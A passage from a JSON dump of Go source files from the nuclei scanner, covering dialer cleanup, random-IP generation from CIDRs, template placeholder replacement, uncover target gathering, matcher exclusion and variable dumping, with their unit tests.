GetDialersWithId(executionId)\n\t\tif dialer == nil {\n\t\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t\t}\n\t\treturn dialer.Fastdialer.Dial(ctx, \"tcp\", addr)\n\t})\n\n\tStartActiveMemGuardian(context.Background())\n\n\tSetLfaAllowed(options)\n\n\treturn nil\n}\n\n// isIpAssociatedWithInterface checks if the given IP is associated with the given interface.\nfunc isIpAssociatedWithInterface(sourceIP, interfaceName string) (bool, error) {\n\taddrs, err := interfaceAddresses(interfaceName)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tfor _, addr := range addrs {\n\t\tif ipnet, ok := addr.(*net.IPNet); ok {\n\t\t\tif ipnet.IP.String() == sourceIP {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn false, nil\n}\n\n// interfaceAddress returns the first IPv4 address of the given interface.\nfunc interfaceAddress(interfaceName string) (net.IP, error) {\n\taddrs, err := interfaceAddresses(interfaceName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar address net.IP\n\tfor _, addr := range addrs {\n\t\tif ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {\n\t\t\tif ipnet.IP.To4() != nil {\n\t\t\t\taddress = ipnet.IP\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif address == nil {\n\t\treturn nil, fmt.Errorf(\"no suitable address found for interface: `%s`\", interfaceName)\n\t}\n\treturn address, nil\n}\n\n// interfaceAddresses returns all interface addresses.\nfunc interfaceAddresses(interfaceName string) ([]net.Addr, error) {\n\tif interfaceName == \"any\" {\n\t\treturn net.InterfaceAddrs()\n\t}\n\tief, err := net.InterfaceByName(interfaceName)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get interface: `%s`\", interfaceName)\n\t}\n\taddrs, err := ief.Addrs()\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get interface addresses for: `%s`\", interfaceName)\n\t}\n\treturn addrs, nil\n}\n\n// Close closes the global shared fastdialer\nfunc Close(executionId string) {\n\tdialersInstance, ok := dialers.Get(executionId)\n\tif !ok {\n\t\treturn\n\t}\n\n\tif dialersInstance != nil {\n\t\tdialersInstance.Fastdialer.Close()\n\t}\n\n\tdialers.Delete(executionId)\n\n\tif dialers.IsEmpty() {\n\t\tStopActiveMemGuardian()\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/randomip/randomip.go",
    "content": "package randomip\n\nimport (\n\t\"crypto/rand\"\n\t\"net\"\n\n\t\"github.com/pkg/errors\"\n\tiputil \"github.com/projectdiscovery/utils/ip\"\n\trandutil \"github.com/projectdiscovery/utils/rand\"\n)\n\nconst (\n\tmaxIterations = 255\n)\n\nfunc GetRandomIPWithCidr(cidrs ...string) (net.IP, error) {\n\tif len(cidrs) == 0 {\n\t\treturn nil, errors.Errorf(\"must specify at least one cidr\")\n\t}\n\n\trandIdx, err := randutil.IntN(len(cidrs))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcidr := cidrs[randIdx]\n\n\tif !iputil.IsCIDR(cidr) {\n\t\treturn nil, errors.Errorf(\"%s is not a valid cidr\", cidr)\n\t}\n\n\tbaseIp, ipnet, err := net.ParseCIDR(cidr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch {\n\tcase ipnet.Mask[len(ipnet.Mask)-1] == 255:\n\t\treturn baseIp, nil\n\tcase iputil.IsIPv4(baseIp.String()):\n\t\treturn getRandomIP(ipnet, 4), nil\n\tcase iputil.IsIPv6(baseIp.String()):\n\t\treturn getRandomIP(ipnet, 16), nil\n\tdefault:\n\t\treturn nil, errors.New(\"invalid base ip\")\n\t}\n}\n\nfunc getRandomIP(ipnet *net.IPNet, size int) net.IP {\n\tip := ipnet.IP\n\tvar iteration int\n\n\tfor iteration < maxIterations {\n\t\titeration++\n\t\tones, _ := ipnet.Mask.Size()\n\t\tquotient := ones / 8\n\t\tremainder := ones % 8\n\t\tvar r []byte\n\t\tswitch size {\n\t\tcase 4, 16:\n\t\t\tr = make([]byte, size)\n\t\tdefault:\n\t\t\treturn ip\n\t\t}\n\n\t\t_, err := rand.Read(r)\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\n\t\tfor i := 0; i <= quotient; i++ {\n\t\t\tif i == quotient {\n\t\t\t\tshifted := byte(r[i]) >> remainder\n\t\t\t\tr[i] = ipnet.IP[i] + (^ipnet.IP[i] & shifted)\n\t\t\t} else {\n\t\t\t\tr[i] = ipnet.IP[i]\n\t\t\t}\n\t\t}\n\n\t\tip = r\n\n\t\tif !ip.Equal(ipnet.IP) {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn ip\n}\n"
  },
  {
    "path": "pkg/protocols/common/randomip/randomip_test.go",
    "content": "package randomip\n\nimport (\n\t\"net\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGetRandomIp(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tcidr     []string\n\t\terrorMsg string\n\t\tvalid    bool\n\t}{\n\t\t{\n\t\t\tname:  \"Valid C class\",\n\t\t\tcidr:  []string{\"193.6.32.110/24\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"Valid B class\",\n\t\t\tcidr:  []string{\"128.34.33.29/16\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"Valid A class\",\n\t\t\tcidr:  []string{\"10.1.2.3/8\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"Valid classless zero based network\",\n\t\t\tcidr:  []string{\"205.102.139.2/30\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"Valid classless non-zero based network\",\n\t\t\tcidr:  []string{\"205.102.139.49/29\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"Multiple CIDRs\",\n\t\t\tcidr:  []string{\"1.2.3.4/15\", \"230.149.150.22/28\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"Negative CIDR length\",\n\t\t\tcidr:     []string{\"10.11.12.13/-1\"},\n\t\t\tvalid:    false,\n\t\t\terrorMsg: \"10.11.12.13/-1 is not a valid CIDR\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Large CIDR length\",\n\t\t\tcidr:     []string{\"10.11.12.13/33\"},\n\t\t\tvalid:    false,\n\t\t\terrorMsg: \"10.11.12.13/33 is not a valid CIDR\",\n\t\t},\n\t\t{\n\t\t\tname:     \"No CIDR provided\",\n\t\t\tcidr:     []string{},\n\t\t\tvalid:    false,\n\t\t\terrorMsg: \"must specify at least one cidr\",\n\t\t},\n\t\t{\n\t\t\tname:  \"Valid but crazy\",\n\t\t\tcidr:  []string{\"0.0.0.0/0\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"Valid but unlikely\",\n\t\t\tcidr:  []string{\"193.6.32.109/32\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"Valid IPv6\",\n\t\t\tcidr:  []string{\"2607:fb91:1294:85fa:3cbf:491:cd46:2625/120\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"Classless IPv4 starting with a non-zero base\",\n\t\t\tcidr:  []string{\"129.47.78.253/30\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:  \"IPv6 and IPv4\",\n\t\t\tcidr:  []string{\"2603:8080:4400:d070:913:dee4:6c0c:9ae8/96\", \"212.78.146.240/25\"},\n\t\t\tvalid: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"Negative CIDR length IPv6\",\n\t\t\tcidr:     []string{\"2600:1700:27c:70:44eb:2d78:86b3:e905/-1\"},\n\t\t\tvalid:    false,\n\t\t\terrorMsg: \"2600:1700:27c:70:44eb:2d78:86b3:e905/-1 is not a valid CIDR\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Large CIDR length IPv6\",\n\t\t\tcidr:     []string{\"2607:fb91:bd02:127c:d736:abcf:5c77:e7fd/129\"},\n\t\t\tvalid:    false,\n\t\t\terrorMsg: \"2607:fb91:bd02:127c:d736:abcf:5c77:e7fd/129 is not a valid CIDR\",\n\t\t},\n\t\t{\n\t\t\tname:  \"Valid but unlikely IPv6\",\n\t\t\tcidr:  []string{\"2607:fb91:bd02:127c:d736:abcf:5c77:e7fd/128\"},\n\t\t\tvalid: true,\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\tip, err := GetRandomIPWithCidr(test.cidr...)\n\t\t\tif test.valid {\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\tanyInRange := false\n\t\t\t\tfor _, cidr := range test.cidr {\n\t\t\t\t\t_, network, _ := net.ParseCIDR(cidr)\n\t\t\t\t\tanyInRange = anyInRange || network.Contains(ip)\n\t\t\t\t}\n\t\t\t\trequire.Truef(t, anyInRange, \"the IP address returned %v is not in range of the provided CIDRs\", ip)\n\t\t\t} else {\n\t\t\t\trequire.Error(t, err, test.errorMsg)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/replacer/replacer.go",
    "content": "package replacer\n\nimport (\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/fasttemplate\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/marker\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Replace replaces placeholders in template with values on the fly.\nfunc Replace(template string, values map[string]interface{}) string {\n\tvaluesMap := make(map[string]interface{}, len(values))\n\tfor k, v := range values {\n\t\tvaluesMap[k] = types.ToString(v)\n\t}\n\treplaced := fasttemplate.ExecuteStringStd(template, marker.ParenthesisOpen, marker.ParenthesisClose, valuesMap)\n\tfinal := fasttemplate.ExecuteStringStd(replaced, marker.General, marker.General, valuesMap)\n\treturn final\n}\n\n// Replace replaces one placeholder in template with one value on the fly.\nfunc ReplaceOne(template string, key string, value interface{}) string {\n\tdata := replaceOneWithMarkers(template, key, value, marker.ParenthesisOpen, marker.ParenthesisClose)\n\treturn replaceOneWithMarkers(data, key, value, marker.General, marker.General)\n}\n\n// replaceOneWithMarkers is a helper function that perform one time replacement\nfunc replaceOneWithMarkers(template, key string, value interface{}, openMarker, closeMarker string) string {\n\treturn strings.Replace(template, openMarker+key+closeMarker, types.ToString(value), 1)\n}\n"
  },
  {
    "path": "pkg/protocols/common/replacer/replacer_test.go",
    "content": "package replacer\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReplacerReplace(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\ttemplate string\n\t\tvalues   map[string]interface{}\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"Invalid arguments\",\n\t\t\ttemplate: \"\",\n\t\t\tvalues:   nil,\n\t\t\texpected: \"\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Nested\",\n\t\t\ttemplate: \"{{base64_encode('{{test}}')}}\",\n\t\t\tvalues:   map[string]interface{}{\"test\": \"random\"},\n\t\t\texpected: \"{{base64_encode('random')}}\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Basic\",\n\t\t\ttemplate: \"{{test}} §hello§ {{data}}\",\n\t\t\tvalues:   map[string]interface{}{\"test\": \"random\", \"hello\": \"world\"},\n\t\t\texpected: \"random world {{data}}\",\n\t\t},\n\t\t{\n\t\t\tname:     \"No template variables\",\n\t\t\ttemplate: \"Nothing to replace\",\n\t\t\tvalues:   map[string]interface{}{\"test\": \"random\", \"hello\": \"world\"},\n\t\t\texpected: \"Nothing to replace\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Nested variable\",\n\t\t\ttemplate: \"{{§var1§}} and §{{var2}}§\",\n\t\t\tvalues:   map[string]interface{}{\"var1\": \"variable 1\", \"var2\": \"variable 2\"},\n\t\t\texpected: \"{{variable 1}} and §variable 2§\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Space in variable name\",\n\t\t\ttemplate: \"{{var 1}} has a space\",\n\t\t\tvalues:   map[string]interface{}{\"var 1\": \"variable 1\"},\n\t\t\texpected: \"variable 1 has a space\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Escaped marker in template\",\n\t\t\ttemplate: \"{{\\\\§var 1\\\\§}}\",\n\t\t\tvalues:   map[string]interface{}{\"\\\\§var 1\\\\§\": \"variable 1\"},\n\t\t\texpected: \"variable 1\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Escaping no marker in template\",\n\t\t\ttemplate: \"{{\\\\§var 1\\\\§}}\",\n\t\t\tvalues:   map[string]interface{}{\"var 1\": \"variable 1\"},\n\t\t\texpected: \"{{\\\\§var 1\\\\§}}\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Empty variable name\",\n\t\t\ttemplate: \"{{}} §§ no vars here\",\n\t\t\tvalues:   map[string]interface{}{\"var 1\": \"variable 1\"},\n\t\t\texpected: \"{{}} §§ no vars here\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Multiple replacement\",\n\t\t\ttemplate: \"{{var1}} and §var1§ and another {{var2}}\",\n\t\t\tvalues:   map[string]interface{}{\"var1\": \"first variable\", \"var2\": \"second variable\"},\n\t\t\texpected: \"first variable and first variable and another second variable\",\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\trequire.Equal(t, test.expected, Replace(test.template, test.values))\n\t\t})\n\t}\n}\n\nfunc TestReplacerReplaceOne(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\ttemplate string\n\t\tkey      string\n\t\tvalue    interface{}\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"Basic\",\n\t\t\ttemplate: \"once upon a time there was a {{var1}}\",\n\t\t\tkey:      \"var1\",\n\t\t\tvalue:    \"variable 1\",\n\t\t\texpected: \"once upon a time there was a variable 1\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Basic Multiple Vars\",\n\t\t\ttemplate: \"once upon a time there was a {{var1}} and a §var2§\",\n\t\t\tkey:      \"var2\",\n\t\t\tvalue:    \"variable 2\",\n\t\t\texpected: \"once upon a time there was a {{var1}} and a variable 2\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Missing key\",\n\t\t\ttemplate: \"once upon a time there was a {{var1}}\",\n\t\t\tkey:      \"\",\n\t\t\tvalue:    \"variable 1\",\n\t\t\texpected: \"once upon a time there was a {{var1}}\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Replacement value empty\",\n\t\t\ttemplate: \"{{var1}}nothing{{var1}} to{{var1}} see\",\n\t\t\tkey:      \"var1\",\n\t\t\tvalue:    \"\",\n\t\t\texpected: \"nothing{{var1}} to{{var1}} see\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Empty key and value different markers\",\n\t\t\ttemplate: \"{{}}both§§ the{{}} 1st and 2nd markers are replaced\",\n\t\t\tkey:      \"\",\n\t\t\tvalue:    \"\",\n\t\t\texpected: \"both the{{}} 1st and 2nd markers are replaced\",\n\t\t},\n\t\t{\n\t\t\tname:     \"Empty key and value same marker\",\n\t\t\ttemplate: \"{{}}only{{}} the first marker is replaced{{}}\",\n\t\t\tkey:      \"\",\n\t\t\tvalue:    \"\",\n\t\t\texpected: \"only{{}} the first marker is replaced{{}}\",\n\t\t},\n\t}\n\tfor _, test := range tests {\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\trequire.Equal(t, test.expected, ReplaceOne(test.template, test.key, test.value))\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/uncover/uncover.go",
    "content": "package uncover\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"runtime\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/uncover\"\n\t\"github.com/projectdiscovery/uncover/sources\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\n// returns csv string of uncover supported agents\nfunc GetUncoverSupportedAgents() string {\n\tu, _ := uncover.New(&uncover.Options{})\n\treturn strings.Join(u.AllAgents(), \",\")\n}\n\n// GetTargetsFromUncover returns targets from uncover\nfunc GetTargetsFromUncover(ctx context.Context, outputFormat string, opts *uncover.Options) (chan string, error) {\n\tu, err := uncover.New(opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresChan, err := u.Execute(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\toutputChan := make(chan string) // buffered channel\n\tgo func() {\n\t\tdefer close(outputChan)\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tcase res, ok := <-resChan:\n\t\t\t\tif !ok {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif res.Error != nil {\n\t\t\t\t\t// only log in verbose mode\n\t\t\t\t\tgologger.Verbose().Msgf(\"uncover: %v\", res.Error)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\toutputChan <- processUncoverOutput(res, outputFormat)\n\t\t\t}\n\t\t}\n\t}()\n\treturn outputChan, nil\n}\n\n// processUncoverOutput returns output string depending on uncover field\nfunc processUncoverOutput(result sources.Result, outputFormat string) string {\n\tif (result.IP == \"\" || result.Port == 0) && stringsutil.ContainsAny(outputFormat, \"ip\", \"port\") {\n\t\t// if ip or port is not present, fallback to using host\n\t\toutputFormat = \"host\"\n\t}\n\treplacer := strings.NewReplacer(\n\t\t\"ip\", result.IP,\n\t\t\"host\", result.Host,\n\t\t\"port\", fmt.Sprint(result.Port),\n\t\t\"url\", result.Url,\n\t)\n\treturn replacer.Replace(outputFormat)\n}\n\n// GetUncoverTargetsFromMetadata returns targets from uncover metadata\nfunc GetUncoverTargetsFromMetadata(ctx context.Context, templates []*templates.Template, outputFormat string, opts *uncover.Options) chan string {\n\t// contains map[engine]queries\n\tqueriesMap := make(map[string][]string)\n\tfor _, template := range templates {\n\tinnerLoop:\n\t\tfor k, v := range template.Info.Metadata {\n\t\t\tif !strings.HasSuffix(k, \"-query\") {\n\t\t\t\t// this is not a query\n\t\t\t\t// query keys are like shodan-query, fofa-query, etc\n\t\t\t\tcontinue innerLoop\n\t\t\t}\n\t\t\tengine := strings.TrimSuffix(k, \"-query\")\n\t\t\tif queriesMap[engine] == nil {\n\t\t\t\tqueriesMap[engine] = []string{}\n\t\t\t}\n\t\t\tswitch v := v.(type) {\n\t\t\tcase []interface{}:\n\t\t\t\tqs := queriesMap[engine]\n\t\t\t\tfor _, vv := range v {\n\t\t\t\t\tqs = append(qs, fmt.Sprint(vv))\n\t\t\t\t}\n\t\t\t\tqueriesMap[engine] = qs\n\t\t\tdefault:\n\t\t\t\tqueriesMap[engine] = append(queriesMap[engine], fmt.Sprint(v))\n\t\t\t}\n\t\t}\n\t}\n\tfor engine, queries := range queriesMap {\n\t\tqueriesMap[engine] = sliceutil.Dedupe(queries)\n\t}\n\tkeys := mapsutil.GetKeys(queriesMap)\n\tgologger.Info().Msgf(\"Running uncover queries from template against: %s\", strings.Join(keys, \",\"))\n\tresult := make(chan string, runtime.NumCPU())\n\tgo func() {\n\t\tdefer close(result)\n\t\t// unfortunately uncover doesn't support execution of map[engine]queries\n\t\t// if queries are given they are executed against all engines which is not what we want\n\t\t// TODO: add support for map[engine]queries in uncover\n\t\t// Note below implementation is intentionally sequential to avoid burning all the API keys\n\t\tcounter := 0\n\touterLoop:\n\t\tfor eng, queries := range queriesMap {\n\t\t\tif opts.Limit > 0 && counter >= opts.Limit {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t// create new uncover options for each engine\n\t\t\tuncoverOpts := &uncover.Options{\n\t\t\t\tAgents:        []string{eng},\n\t\t\t\tQueries:       queries,\n\t\t\t\tLimit:         opts.Limit,\n\t\t\t\tMaxRetry:      opts.MaxRetry,\n\t\t\t\tTimeout:       opts.Timeout,\n\t\t\t\tRateLimit:     opts.RateLimit,\n\t\t\t\tRateLimitUnit: opts.RateLimitUnit,\n\t\t\t}\n\t\t\tch, err := GetTargetsFromUncover(ctx, outputFormat, uncoverOpts)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Error().Msgf(\"Could not get targets using %v engine from uncover: %s\", eng, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\tinnerLoop:\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\treturn\n\t\t\t\tcase res, ok := <-ch:\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\tcontinue outerLoop\n\t\t\t\t\t}\n\t\t\t\t\tresult <- res\n\t\t\t\t\tcounter++\n\t\t\t\t\tif opts.Limit > 0 && counter >= opts.Limit {\n\t\t\t\t\t\tbreak innerLoop\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\treturn result\n}\n"
  },
  {
    "path": "pkg/protocols/common/utils/excludematchers/excludematchers.go",
    "content": "package excludematchers\n\nimport (\n\t\"strings\"\n)\n\n// ExcludeMatchers is an instance for excluding matchers with template IDs\ntype ExcludeMatchers struct {\n\tvalues       map[string]struct{}\n\ttemplateIDs  map[string]struct{}\n\tmatcherNames map[string]struct{}\n}\n\n// New returns a new exclude matchers instance\n//\n// Wildcard and non-wildcard values are supported.\n// <template-id>:<matcher-name> is the syntax. Wildcards can be specified\n// using * character for either value.\n//\n//\tEx- http-missing-security-headers:* skips all http-missing-security-header templates\nfunc New(values []string) *ExcludeMatchers {\n\texcludeMatchers := &ExcludeMatchers{\n\t\tvalues:       make(map[string]struct{}),\n\t\ttemplateIDs:  make(map[string]struct{}),\n\t\tmatcherNames: make(map[string]struct{}),\n\t}\n\tfor _, value := range values {\n\t\tpartValues := strings.SplitN(value, \":\", 2)\n\t\tif len(partValues) < 2 {\n\t\t\t// If there is no matcher name, consider it as template ID\n\t\t\tif _, ok := excludeMatchers.templateIDs[value]; !ok {\n\t\t\t\texcludeMatchers.templateIDs[value] = struct{}{}\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\ttemplateID, matcherName := partValues[0], partValues[1]\n\n\t\t// Handle wildcards\n\t\tif templateID == \"*\" {\n\t\t\tif _, ok := excludeMatchers.matcherNames[matcherName]; !ok {\n\t\t\t\texcludeMatchers.matcherNames[matcherName] = struct{}{}\n\t\t\t}\n\t\t} else if matcherName == \"*\" {\n\t\t\tif _, ok := excludeMatchers.templateIDs[templateID]; !ok {\n\t\t\t\texcludeMatchers.templateIDs[templateID] = struct{}{}\n\t\t\t}\n\t\t} else {\n\t\t\tif _, ok := excludeMatchers.values[value]; !ok {\n\t\t\t\texcludeMatchers.values[value] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\treturn excludeMatchers\n}\n\n// Match returns true if templateID and matcherName matches the blocklist\nfunc (e *ExcludeMatchers) Match(templateID, matcherName string) bool {\n\tif _, ok := e.templateIDs[templateID]; ok {\n\t\treturn true\n\t}\n\tif _, ok := e.matcherNames[matcherName]; ok {\n\t\treturn true\n\t}\n\tmatchName := strings.Join([]string{templateID, matcherName}, \":\")\n\t_, found := e.values[matchName]\n\treturn found\n}\n"
  },
  {
    "path": "pkg/protocols/common/utils/excludematchers/excludematchers_test.go",
    "content": "package excludematchers\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestExcludeMatchers(t *testing.T) {\n\tem := New([]string{\"test-template:test-matcher\", \"new-template:*\", \"*:new-matcher\", \"only-template-id\"})\n\n\trequire.True(t, em.Match(\"test-template\", \"test-matcher\"), \"could not get template-matcher value\")\n\trequire.False(t, em.Match(\"test-template\", \"random-matcher\"), \"could get template-matcher value\")\n\n\trequire.True(t, em.Match(\"new-template\", \"random-matcher\"), \"could not get template-matcher value wildcard\")\n\trequire.True(t, em.Match(\"random-template\", \"new-matcher\"), \"could not get template-matcher value wildcard\")\n\n\trequire.True(t, em.Match(\"only-template-id\", \"test\"), \"could not get only template id match value\")\n}\n"
  },
  {
    "path": "pkg/protocols/common/utils/vardump/dump.go",
    "content": "package vardump\n\nimport (\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"github.com/yassinebenaid/godump\"\n)\n\n// variables is a map of variables\ntype variables = map[string]any\n\n// DumpVariables dumps the variables in a pretty format\nfunc DumpVariables(data variables) string {\n\td := godump.Dumper{\n\t\tIndentation:             \"  \",\n\t\tHidePrivateFields:       false,\n\t\tShowPrimitiveNamedTypes: true,\n\t}\n\n\td.Theme = godump.Theme{\n\t\tString:        godump.RGB{R: 138, G: 201, B: 38},\n\t\tQuotes:        godump.RGB{R: 112, G: 214, B: 255},\n\t\tBool:          godump.RGB{R: 249, G: 87, B: 56},\n\t\tNumber:        godump.RGB{R: 10, G: 178, B: 242},\n\t\tTypes:         godump.RGB{R: 0, G: 150, B: 199},\n\t\tAddress:       godump.RGB{R: 205, G: 93, B: 0},\n\t\tPointerTag:    godump.RGB{R: 110, G: 110, B: 110},\n\t\tNil:           godump.RGB{R: 219, G: 57, B: 26},\n\t\tFunc:          godump.RGB{R: 160, G: 90, B: 220},\n\t\tFields:        godump.RGB{R: 189, G: 176, B: 194},\n\t\tChan:          godump.RGB{R: 195, G: 154, B: 76},\n\t\tUnsafePointer: godump.RGB{R: 89, G: 193, B: 180},\n\t\tBraces:        godump.RGB{R: 185, G: 86, B: 86},\n\t}\n\n\treturn d.Sprint(process(data, Limit))\n}\n\n// process is a helper function that processes the variables\n// and returns a new map of variables\nfunc process(data variables, limit int) variables {\n\tkeys := mapsutil.GetSortedKeys(data)\n\tvars := make(variables)\n\n\tif limit == 0 {\n\t\tlimit = 255\n\t}\n\n\tfor _, k := range keys {\n\t\tv := types.ToString(data[k])\n\t\tv = strings.ReplaceAll(strings.ReplaceAll(v, \"\\r\", \" \"), \"\\n\", \" \")\n\t\tif len(v) > limit {\n\t\t\tv = v[:limit]\n\t\t\tv += \" [...]\"\n\t\t}\n\n\t\tvars[k] = v\n\t}\n\n\treturn vars\n}\n"
  },
  {
    "path": "pkg/protocols/common/utils/vardump/dump_test.go",
    "content": "package vardump\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestDumpVariables(t *testing.T) {\n\t// Enable var dump for testing\n\tEnableVarDump = true\n\n\t// Test case\n\ttestVars := variables{\n\t\t\"string\": \"test\",\n\t\t\"int\":    42,\n\t\t\"bool\":   true,\n\t\t\"slice\":  []string{\"a\", \"b\", \"c\"},\n\t}\n\n\tresult := DumpVariables(testVars)\n\n\t// Assertions\n\tassert.NotEmpty(t, result)\n\tassert.Contains(t, result, \"string\")\n\tassert.Contains(t, result, \"test\")\n\tassert.Contains(t, result, \"int\")\n\tassert.Contains(t, result, \"42\")\n\tassert.Contains(t, result, \"bool\")\n\tassert.Contains(t, result, \"true\")\n\tassert.Contains(t, result, \"slice\")\n\tassert.Contains(t, result, \"a\")\n\tassert.Contains(t, result, \"b\")\n\tassert.Contains(t, result, \"c\")\n\n}\n\nfunc TestProcess(t *testing.T) {\n\ttestVars := variables{\n\t\t\"short\":  \"short string\",\n\t\t\"long\":   strings.Repeat(\"a\", 300),\n\t\t\"number\": 42,\n\t}\n\n\tprocessed := process(testVars, 255)\n\n\tassert.Equal(t, \"short string\", processed[\"short\"])\n\tassert.Equal(t, strings.Repeat(\"a\", 255)+\" [...]\", processed[\"long\"])\n\tassert.Equal(t, \"42\", processed[\"number\"])\n}\n"
  },
  {
    "path": "pkg/protocols/common/utils/vardump/vars.go",
    "content": "package vardump\n\nvar (\n\t// EnableVarDump enables var dump for debugging optionally\n\tEnableVarDump bool\n\t// Limit is the maximum characters to be dumped\n\tLimit int = 255\n)\n"
  },
  {
    "path": "pkg/protocols/common/variables/doc.go",
    "content": "package variables\n\n// There are total 5 sources of variables\n// 1. VariablesMap - Variables defined in the template  (available at Request.options.Variables in protocols)\n// 2. PayloadsMap  - Payloads defined in the template   (available at Request.generator in protocols)\n// 3. OptionsMap   - Variables passed using CLI Options (+ Env) (available at generators.BuildPayloadFromOptions)\n// 4. DynamicMap   - Variables Obtained by extracting data from templates  (available at Request.ExecuteWithResults + merged with previous internalEvent)\n// 5. ProtocolMap  - Variables generated by Evaluation Request / Responses of xyz protocol (available in Request.Make)\n// 6. ConstantsMap  - Constants defined in the template (available at Request.options.Constants in protocols)\n\n// As we can tell , all variables sources are not linear i.e why they need to re-evaluated\n// consider example\n// variables:\n//  - name: \"username@{{Host}}\"\n\n// Linear Sources (once obtained no need to re-evaluate)\n// simply put they don't contain references to other variables\n// 1. OptionsMap\n// 2. DynamicMap\n// 3. ProtocolMap\n\n// Non-Linear Sources (need to re-evaluate)\n// 1. VariablesMap\n// 2. PayloadsMap\n// Every time Linear Sources are updated , Non-Linear Sources need to be re-evaluated\n\n// Constants (no need to re-evaluate, should contain only scalars)\n"
  },
  {
    "path": "pkg/protocols/common/variables/variables.go",
